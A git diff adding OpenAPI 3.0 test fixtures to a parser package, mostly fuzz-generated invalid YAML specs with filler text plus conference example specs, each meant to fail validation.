diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/874ad722-1346-41ae-8d8c-1fbe5ba29a4f.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/874ad722-1346-41ae-8d8c-1fbe5ba29a4f.yaml
new file mode 100644
index 0000000..7def9ff
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/874ad722-1346-41ae-8d8c-1fbe5ba29a4f.yaml
@@ -0,0 +1,16 @@
+openapi: 3.0.8-+"
+info:
+  title: consectetur irure
+  version: pariatur officia id
+  contact:
+    name: c
+  description: reprehe
+paths: {}
+servers:
+  - description: eu et Excepteur officia
+tags:
+  - name: dolore nostrud id
+  - name: deserunt mollit dolor
+  - name: elit commodo dolor occaecat
+  - name: e
+x-testcase: 'within array test: should not work without required property: url'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/8dbbd8a8-26f0-4a9d-9da2-47874d047b67.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/8dbbd8a8-26f0-4a9d-9da2-47874d047b67.yaml
new file mode 100644
index 0000000..1f16bf5
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/8dbbd8a8-26f0-4a9d-9da2-47874d047b67.yaml
@@ -0,0 +1,9 @@
+openapi: 3.0.1-j!YZaqc2*
+info:
+  title: consequat exercitation id ullamco eu
+  version: officia
+paths: {}
+servers:
+  - url: Lorem minim reprehenderit a
+    description: 4394846223597568
+x-testcase: 'within array test: should not work with ''description'' of type ''integer'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/8eed4b36-fe95-48d5-9968-5af531a2dcb3.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/8eed4b36-fe95-48d5-9968-5af531a2dcb3.yaml
new file mode 100644
index 0000000..777dcda
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/8eed4b36-fe95-48d5-9968-5af531a2dcb3.yaml
@@ -0,0 +1,7 @@
+openapi: 3.0.3-8Kw/B
+info:
+  title: qui dolor minim
+  version: ipsum
+  termsOfService: ht<p://MWiqpB2bIAu
+paths: {}
+x-testcase: 'nested object test: should not pass validation for format of property: termsOfService'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/95b0c433-0fbb-41f4-9f69-601b10d0534f.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/95b0c433-0fbb-41f4-9f69-601b10d0534f.yaml
new file mode 100644
index 0000000..7536f68
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/95b0c433-0fbb-41f4-9f69-601b10d0534f.yaml
@@ -0,0 +1,11 @@
+openapi: 3.0.5-L6(1*
+info:
+  title: commodo fugiat
+  version: ex incididunt
+  description: qui velit Ut eu
+  termsOfService: vReOFC8ZVu
+  license:
+    name: false
+    url: LAl
+paths: {}
+x-testcase: 'nested object test: nested object test: should not work with ''name'' of type ''boolean'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/99a199c9-4a0d-4bbb-a3a6-8696aad359e9.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/99a199c9-4a0d-4bbb-a3a6-8696aad359e9.yaml
new file mode 100644
index 0000000..dc00e3c
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/99a199c9-4a0d-4bbb-a3a6-8696aad359e9.yaml
@@ -0,0 +1,6 @@
+openapi: 3.0.4
+info:
+  title: true
+  version: voluptate culpa aliquip
+paths: {}
+x-testcase: 'nested object test: should not work with ''title'' of type ''boolean'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/9fba715b-d1b7-47bc-b68f-92870042625b.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/9fba715b-d1b7-47bc-b68f-92870042625b.yaml
new file mode 100644
index 0000000..1f16bf5
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/9fba715b-d1b7-47bc-b68f-92870042625b.yaml
@@ -0,0 +1,9 @@
+openapi: 3.0.1-j!YZaqc2*
+info:
+  title: consequat exercitation id ullamco eu
+  version: officia
+paths: {}
+servers:
+  - url: Lorem minim reprehenderit a
+    description: 4394846223597568
+x-testcase: 'within array test: should not work with ''description'' of type ''integer'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/a13c7526-ac53-4ced-a53f-a512bdcf2dfb.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/a13c7526-ac53-4ced-a53f-a512bdcf2dfb.yaml
new file mode 100644
index 0000000..c27bad5
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/a13c7526-ac53-4ced-a53f-a512bdcf2dfb.yaml
@@ -0,0 +1,10 @@
+openapi: 3.0.8-y>6"oI=
+info:
+  title: Duis dolor
+paths: {}
+servers:
+  - url: cupidatat minim dolore reprehende
+externalDocs:
+  url: Mg3gh9Nz
+  description: tempor non fugiat
+x-testcase: 'nested object test: should not work without required property: version'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/a2c3cd63-857e-4f62-a256-968878f2787b.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/a2c3cd63-857e-4f62-a256-968878f2787b.yaml
new file mode 100644
index 0000000..4181262
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/a2c3cd63-857e-4f62-a256-968878f2787b.yaml
@@ -0,0 +1,8 @@
+openapi: '3.0.8-:X3~.:n'
+info:
+  title: quis elit incididunt
+  version: dolor sit
+  contact:
+    url: h<tp://MLE\qyKI6cc9wlZxZL
+paths: {}
+x-testcase: 'nested object test: nested object test: should not pass validation for format of property: url'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/a481c95c-1b53-4486-b9da-4373b5f6f547.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/a481c95c-1b53-4486-b9da-4373b5f6f547.yaml
new file mode 100644
index 0000000..e4ac42a
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/a481c95c-1b53-4486-b9da-4373b5f6f547.yaml
@@ -0,0 +1,7 @@
+openapi: 3.0.5
+info:
+  title: consectetur magna quis aliqua
+  version: nostrud aute adipisicin
+  termsOfService: 75.84
+paths: {}
+x-testcase: 'nested object test: should not work with ''termsOfService'' of type ''number'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/ac61d309-6193-4c77-b027-897b8d089ca6.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/ac61d309-6193-4c77-b027-897b8d089ca6.yaml
new file mode 100644
index 0000000..db8df16
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/ac61d309-6193-4c77-b027-897b8d089ca6.yaml
@@ -0,0 +1,18 @@
+openapi: '3.0.1-jU:{.HM@\;'
+info:
+  title: aute fugiat ullamco ex sint
+  version: incididunt
+  contact: false
+paths: {}
+servers:
+  - url: elit nostrud enim non
+  - url: exercitation officia
+  - url: officia
+  - url: cillum elit ea qui
+  - url: veniam dolor tempor
+tags:
+  - name: 'adipisicing '
+  - name: occaecat deserunt elit
+    description: eiusmod ut dolor
+  - name: quis dolor elit
+x-testcase: 'nested object test: should not work with ''contact'' of type ''boolean'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/b83b0a71-7f08-46a2-9287-be01501bd472.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/b83b0a71-7f08-46a2-9287-be01501bd472.yaml
new file mode 100644
index 0000000..31986f3
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/b83b0a71-7f08-46a2-9287-be01501bd472.yaml
@@ -0,0 +1,9 @@
+openapi: 3.0.4
+info:
+  title: elit consequat ipsum dolor
+  version: Excepteur nul
+  license:
+    name: enim aliquip qui pariatur
+    url: 64.64
+paths: {}
+x-testcase: 'nested object test: nested object test: should not work with ''url'' of type ''number'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/bb819e72-92d5-450f-8395-e42393a72d82.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/bb819e72-92d5-450f-8395-e42393a72d82.yaml
new file mode 100644
index 0000000..0cbdc82
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/bb819e72-92d5-450f-8395-e42393a72d82.yaml
@@ -0,0 +1,10 @@
+openapi: '3.0.5-,ENE-IQ'
+info:
+  title: eiusmod officia mollit non
+  version: fugiat elit aliquip dolore
+  description: reprehenderit
+paths: {}
+externalDocs:
+  url: qu7.HX
+  description: 54.06
+x-testcase: 'nested object test: should not work with ''description'' of type ''number'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/d2dc8a9c-83e3-4dee-a286-7635cdb44eba.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/d2dc8a9c-83e3-4dee-a286-7635cdb44eba.yaml
new file mode 100644
index 0000000..0a8a7d4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/d2dc8a9c-83e3-4dee-a286-7635cdb44eba.yaml
@@ -0,0 +1,10 @@
+openapi: 3.0.1
+info:
+  title: nostrud sed consequat
+  version: commodo r
+  contact:
+    url: 58.51
+    email: noGY@PBokp.ys
+    name: anim
+paths: {}
+x-testcase: 'nested object test: nested object test: should not work with ''url'' of type ''number'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/d3c6e7e2-f131-47ba-833f-6c7525692ff8.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/d3c6e7e2-f131-47ba-833f-6c7525692ff8.yaml
new file mode 100644
index 0000000..9555ee4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/d3c6e7e2-f131-47ba-833f-6c7525692ff8.yaml
@@ -0,0 +1,19 @@
+openapi: 3.0.6
+info:
+  title: 'ullamco '
+  version: Ut sed ut eu
+  contact:
+    url: cCtcc2Y
+    email: 'hr%6A#5'
+paths: {}
+tags:
+  - name: ipsum amet veniam dolor non
+  - name: fugiat non proident dolor
+    description: qui aute labore ipsum et
+  - name: consectetur enim
+  - name: velit
+  - name: nostrud consequat magna cillum
+    description: minim ad in enim
+externalDocs:
+  url: qQxXtwU
+x-testcase: 'nested object test: nested object test: should not pass validation for format of property: email'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/d3f3d3e7-9b59-4aaa-b129-a7edd7523bc5.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/d3f3d3e7-9b59-4aaa-b129-a7edd7523bc5.yaml
new file mode 100644
index 0000000..c27bad5
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/d3f3d3e7-9b59-4aaa-b129-a7edd7523bc5.yaml
@@ -0,0 +1,10 @@
+openapi: 3.0.8-y>6"oI=
+info:
+  title: Duis dolor
+paths: {}
+servers:
+  - url: cupidatat minim dolore reprehende
+externalDocs:
+  url: Mg3gh9Nz
+  description: tempor non fugiat
+x-testcase: 'nested object test: should not work without required property: version'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/df7ff33b-a99f-4c9c-b79a-049e1a16cd81.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/df7ff33b-a99f-4c9c-b79a-049e1a16cd81.yaml
new file mode 100644
index 0000000..1bbe1ec
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/df7ff33b-a99f-4c9c-b79a-049e1a16cd81.yaml
@@ -0,0 +1,7 @@
+openapi: 3.0.2-OF*Lu4j9l
+info:
+  title: consequat ea
+  version: 86.21
+  description: ipsum
+paths: {}
+x-testcase: 'nested object test: should not work with ''version'' of type ''number'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/e053546e-4e2c-417e-81e7-f1a08ae30187.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/e053546e-4e2c-417e-81e7-f1a08ae30187.yaml
new file mode 100644
index 0000000..dc00e3c
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/e053546e-4e2c-417e-81e7-f1a08ae30187.yaml
@@ -0,0 +1,6 @@
+openapi: 3.0.4
+info:
+  title: true
+  version: voluptate culpa aliquip
+paths: {}
+x-testcase: 'nested object test: should not work with ''title'' of type ''boolean'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/e7ee0081-b931-45b3-a9f3-7fd81f3f55af.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/e7ee0081-b931-45b3-a9f3-7fd81f3f55af.yaml
new file mode 100644
index 0000000..1bbe1ec
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/e7ee0081-b931-45b3-a9f3-7fd81f3f55af.yaml
@@ -0,0 +1,7 @@
+openapi: 3.0.2-OF*Lu4j9l
+info:
+  title: consequat ea
+  version: 86.21
+  description: ipsum
+paths: {}
+x-testcase: 'nested object test: should not work with ''version'' of type ''number'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/f2f64437-69a2-4de3-9869-b54962dc6644.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/f2f64437-69a2-4de3-9869-b54962dc6644.yaml
new file mode 100644
index 0000000..162ae7a
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/f2f64437-69a2-4de3-9869-b54962dc6644.yaml
@@ -0,0 +1,14 @@
+openapi: 3.0.4
+info:
+  title: 'cillum aliquip culpa Duis '
+  version: r
+  license:
+    name: amet adipisicin
+  contact:
+    email: p92ZtVH2p9@wKWgCmqbIPrKevtkTg.hdp
+    name: nisi labo
+  termsOfService: E9
+paths: {}
+tags:
+  - description: sit minim dolor nulla
+x-testcase: 'within array test: should not work without required property: name'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/ff912cbe-454e-41bd-8cb1-7590af383d4a.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/ff912cbe-454e-41bd-8cb1-7590af383d4a.yaml
new file mode 100644
index 0000000..31986f3
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/ff912cbe-454e-41bd-8cb1-7590af383d4a.yaml
@@ -0,0 +1,9 @@
+openapi: 3.0.4
+info:
+  title: elit consequat ipsum dolor
+  version: Excepteur nul
+  license:
+    name: enim aliquip qui pariatur
+    url: 64.64
+paths: {}
+x-testcase: 'nested object test: nested object test: should not work with ''url'' of type ''number'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Different_components.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Different_components.md.yaml
new file mode 100644
index 0000000..d748c5f
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Different_components.md.yaml
@@ -0,0 +1,46 @@
+openapi: 3.0.0
+info:
+  title: Example usage of components
+  version: 1.0.0
+paths: {}
+
+components:
+  parameters:  # Not global parameters
+    limit:
+      name: limit
+      in: query
+      description: A value used to limit the number of rows of data returned from a collection resource 
+      schema:
+        type: integer
+    orderby:
+      $ref:
+        http://example.org/library.yaml#/components/parameters/orderby
+
+  headers:  # Now reusable
+    user-agent:
+      description: An identifier for the client application using the API
+      schema:
+        type: string
+        maxLength: 255
+
+  schemas:  # renamed from definitions
+    address:
+      type: object
+      properties:
+        street:
+          type: string
+        city:
+          type: string
+        state:
+          type: string
+        country:
+          type: string
+
+  securitySchemes: # renamed from securityDefinitions
+    oauth1: 
+      type: http
+      scheme: oauth
+    digest:
+      type: http
+      scheme: digest  
+  
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Different_parameters.md.yaml
new file mode 100644
index 0000000..8898ca1
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Different_parameters.md.yaml
@@ -0,0 +1,12 @@
+openapi: 3.0.0
+info:
+  title: The simplest parameter example
+  version: 1.0.0
+paths:
+  /customer/{id}:    # https://api.example.org/customer/72
+    parameters:
+    - name: id
+      in: path
+      schema:
+        type: int
+        title: A unique identifier for the customer
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Different_requestbody.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Different_requestbody.md.yaml
new file mode 100644
index 0000000..c5dbfa0
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Different_requestbody.md.yaml
@@ -0,0 +1,18 @@
+swagger: 2.0
+info:
+  title: Example of request body in 2.0
+  version: 1.0.0
+
+paths:
+  /opinions:
+    post:
+      consumes:
+       - text/plain
+      parameters:
+        name: AnOpinion
+        in: body
+        schema:
+          type: string
+      examples:
+        text/plain:
+          I think the V3 way is cleaner
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Different_servers.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Different_servers.md.yaml
new file mode 100644
index 0000000..4e413d4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Different_servers.md.yaml
@@ -0,0 +1,11 @@
+swagger: 2.0
+info:
+  title: How server used to be identified
+  version: 1.0.0
+
+basePath: /api
+host: www.acme.com
+schemes: ["https"]
+
+paths:
+
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Fixed_file.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Fixed_file.md.yaml
new file mode 100644
index 0000000..5437c82
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Fixed_file.md.yaml
@@ -0,0 +1,18 @@
+openapi: 3.0.0
+info:
+  title: API to upload a file
+  version: 1.0.0
+paths:
+  /files/{filename}:
+    put:
+      parameters:
+        filename:
+          in: path
+          schema:
+            type: string
+      requestBody:
+        content:
+          application/octet-stream:
+            schema:
+              type: string
+              format: binary
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Improved_examples.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Improved_examples.md.yaml
new file mode 100644
index 0000000..098b331
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Improved_examples.md.yaml
@@ -0,0 +1,44 @@
+openapi: 3.0.0
+info:
+  title: Examples of the new example object
+  version: 1.0.0
+paths:
+  '/names':
+    get:
+      responses:
+        '200':
+          content:
+            'application/json': 
+              schema:
+                type: array
+                items:
+                  type: string
+              examples:
+                list:
+                  summary: List of Names
+                  description: |- 
+                                    A long and _very_ detailed description of this representation that includes rich text.
+                  value:
+                    - Bob
+                    - Diane
+                    - Mary
+                    - Bill
+                empty:
+                  summary: Empty
+                  value: [ ]
+            'application/xml': 
+              examples:
+                list:
+                  summary: List of names
+                  value: "<Users><User name='Bob'/><User name='Diane'/><User name='Mary'/><User name='Bill'/></Users>"
+                empty:
+                  summary: Empty list
+                  value: "<Users/>"
+            'text/plain':
+              examples:
+                list:
+                  summary: List of names
+                  value: "Bob,Diane,Mary,Bill"
+                empty:
+                  summary: Empty
+                  value: ""
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Improved_schemaobject.md.yaml
new file mode 100644
index 0000000..f4ef77b
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Improved_schemaobject.md.yaml
@@ -0,0 +1,3 @@
+anyOf:
+  - type: string
+  - type: number
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Improved_securityschemes.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Improved_securityschemes.md.yaml
new file mode 100644
index 0000000..a6ca434
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Improved_securityschemes.md.yaml
@@ -0,0 +1,24 @@
+openapi: 3.0.0
+info:
+  title: All kinds of security options using the Authorization header
+  version: 1.0.0
+components:
+  securitySchemes:
+    basic:
+      type: http
+      scheme: basic
+    bearer:
+      type: http
+      scheme: bearer
+      bearerFormat: JWT
+    oauth1:
+      type: http
+      scheme: oauth
+    digest:
+      type: http
+      scheme: digest
+security:
+- basic: []
+- bearer : []
+- oauth1 : []
+- digest : []
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Improved_serverseverywhere.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Improved_serverseverywhere.md.yaml
new file mode 100644
index 0000000..f504186
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._Improved_serverseverywhere.md.yaml
@@ -0,0 +1,37 @@
+openapi: 3.0.0
+info:
+  title:
+  version: 1.0.0
+servers:
+- url: https://api.example.com
+paths:
+  '/passports/{id}':
+    get:
+      responses:
+        '200': 
+          description: Ok
+    post:
+      servers:                    # Write operation on a different server
+      - url: https://supersecure-api.example.com
+      requestBody:
+        content:
+          application/json: {}
+      responses:
+        '200': 
+          description: Ok
+  '/images/{filename}':
+    summary: Pictures of people
+    servers:                      # Static resources on a different server
+    - url: https://static.example.com
+    get: 
+      responses:
+        '200':
+          description: Ok
+    put:
+      responses:
+        '200':
+          description: Ok
+    delete:  
+      responses:
+        '200':
+          description: Ok
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._New_links.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._New_links.md.yaml
new file mode 100644
index 0000000..ee7ddd6
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example1_from_._New_links.md.yaml
@@ -0,0 +1,49 @@
+openapi: 3.0.0
+info:
+  title: Simplest Link
+  version: 1.0.1
+paths:
+  '/users/{username}':
+    get: 
+      parameters:
+        name: username
+        in: path
+        schema:
+          type: string
+      responses:
+        '200': 
+          description: A representation of a user
+          content: 
+            application/json: 
+              schema:
+                type: object
+                properties:
+                  id: 
+                    type: integer
+                  firstname:
+                    type: string
+                  lastname:
+                    type: string
+              example:
+                id: 243
+                firstname: Reginald
+                lastname: McDougall
+          links:
+            userPhotoLink:
+              operationId: getPhoto
+              parameters:
+                userid: $response.body#/id
+  '/users/{userid}/photo':
+    get: 
+      operationId: getPhoto
+      parameters:
+        name: userid
+        in: path
+        schema:
+          type: integer
+      responses:
+        '200':
+          description: A photo image
+          content:
+            image/jpeg: {}
+
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._Different_requestbody.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._Different_requestbody.md.yaml
new file mode 100644
index 0000000..a5d1119
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._Different_requestbody.md.yaml
@@ -0,0 +1,19 @@
+openapi: 3.0.0
+info:
+  title: Example of request body in 3.0
+  version: 1.0.0
+paths:
+  /opinions:
+    post:
+      requestBody:
+        description: 
+        required: true
+        content:
+          text/plain:
+            schema:
+              type: string
+            example:
+              I think the V3 way is cleaner
+          application/json:
+            schema:
+              type: string
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._Improved_examples.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._Improved_examples.md.yaml
new file mode 100644
index 0000000..5b9ae8e
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._Improved_examples.md.yaml
@@ -0,0 +1,27 @@
+openapi: 3.0.0
+info:
+  title: Examples of the new example object using a $ref and a external link
+  version: 1.0.0
+paths:
+  '/pets':
+    get:
+      responses:
+        '200':
+          content:
+            application/json: 
+              schema:
+                $ref: '#/components/schemas/Pet'
+              examples:
+                dog:
+                  summary: An example of a dog with a cat's name
+                  value:
+                    name: Puma
+                    petType: Dog
+                    color: Black
+                    gender: Female
+                    breed: Mixed
+                frog:
+                  $ref: '#/components/examples/frog-example'
+                cat:
+                  summary: An example of a cat
+                  externalValue: '/examples/cat.json'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._Improved_schemaobject.md.yaml
new file mode 100644
index 0000000..f9c708f
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._Improved_schemaobject.md.yaml
@@ -0,0 +1,3 @@
+oneOf:
+  - type: string
+  - type: number
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._Improved_securityschemes.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._Improved_securityschemes.md.yaml
new file mode 100644
index 0000000..0b8f45d
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._Improved_securityschemes.md.yaml
@@ -0,0 +1,27 @@
+openapi: 3.0.0
+info:
+  title: OAuth2 with multiple flows
+  version: 1.0.0
+components:
+  securitySchemes:
+    myOauth2:
+      type: oauth2
+      flows: 
+        implicit:
+          authorizationUrl: https://example.com/api/oauth/dialog
+          scopes:
+            write:pets: modify pets in your account
+            read:pets: read your pets
+        authorizationCode:
+          authorizationUrl: https://example.com/api/oauth/dialog
+          tokenUrl: https://example.com/api/oauth/token
+          refreshUrl: https://example.com/api/oauth/refresh
+          scopes:
+            write:pets: modify pets in your account
+            read:pets: read your pets
+    myOpenIdConnect:
+      type: openIdConnect
+      openIdConnectUrl: https://example.com/.well-known/openid-connect
+security:
+- myOauth2: []
+- myOpenIdConnect: []
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._New_callbacks.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._New_callbacks.md.yaml
new file mode 100644
index 0000000..0698a13
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._New_callbacks.md.yaml
@@ -0,0 +1,50 @@
+openapi: 3.0.0
+info:
+  title: Example of links with callbacks
+  version: 0.9.0
+paths:
+  /hooks:
+    post:
+      requestBody:    
+        description: body provided by consumer with callback URL
+        required: true
+        content:
+          application/json:
+            example:
+              callback-url: https://consumer.com/hookcallback
+      responses:      
+        '201':
+          description: Successfully subscribed
+          content:
+            application/json:
+              example:
+                hookId: 23432-32432-45454-97980
+          links:
+            unsubscribe:
+              operationId: cancelHookCallback
+              parameters: 
+                id: $response.body#/hookId
+      callbacks:
+        hookEvent:
+          '$request.body#/callback-url':
+            post:
+              requestBody:
+                content:
+                  application/json:
+                    example:
+                      message: Here is the event
+              responses:
+                '200':
+                  description: Expected responses from callback consumer
+  /hooks/{id}:
+    delete:
+      operationId: cancelHookCallback
+      parameters:
+        name: id
+        in: path
+        schema: 
+          type: string
+      responses:
+        '200':
+          description: Successfully cancelled callback
+
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._New_links.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._New_links.md.yaml
new file mode 100644
index 0000000..485e2ad
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example2_from_._New_links.md.yaml
@@ -0,0 +1,32 @@
+openapi: 3.0.0
+info:
+  title: Employees and Managers
+  version: 1.0.1
+paths:
+  '/employees/{id}':
+    get:
+      operationId: getEmployeeById
+      parameters:
+      - name: id
+        in: path
+        schema:
+          type: string
+      responses:
+        '200': 
+          description: A representation of an employee
+          content: 
+            application/json: 
+              schema:
+                type: object
+                properties:
+                  id: 
+                    type: string
+                  username:
+                    type: string
+                  managerId:
+                    type: string
+          links:
+            userManager:
+              operationId: getEmployeeById
+              parameters:
+                id: $response.body#managerId
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example3_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example3_from_._Different_parameters.md.yaml
new file mode 100644
index 0000000..dc498c9
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/gluecon/example3_from_._Different_parameters.md.yaml
@@ -0,0 +1,16 @@
+openapi: 3.0.0
+info:
+  title: A version and revision matrix parameter
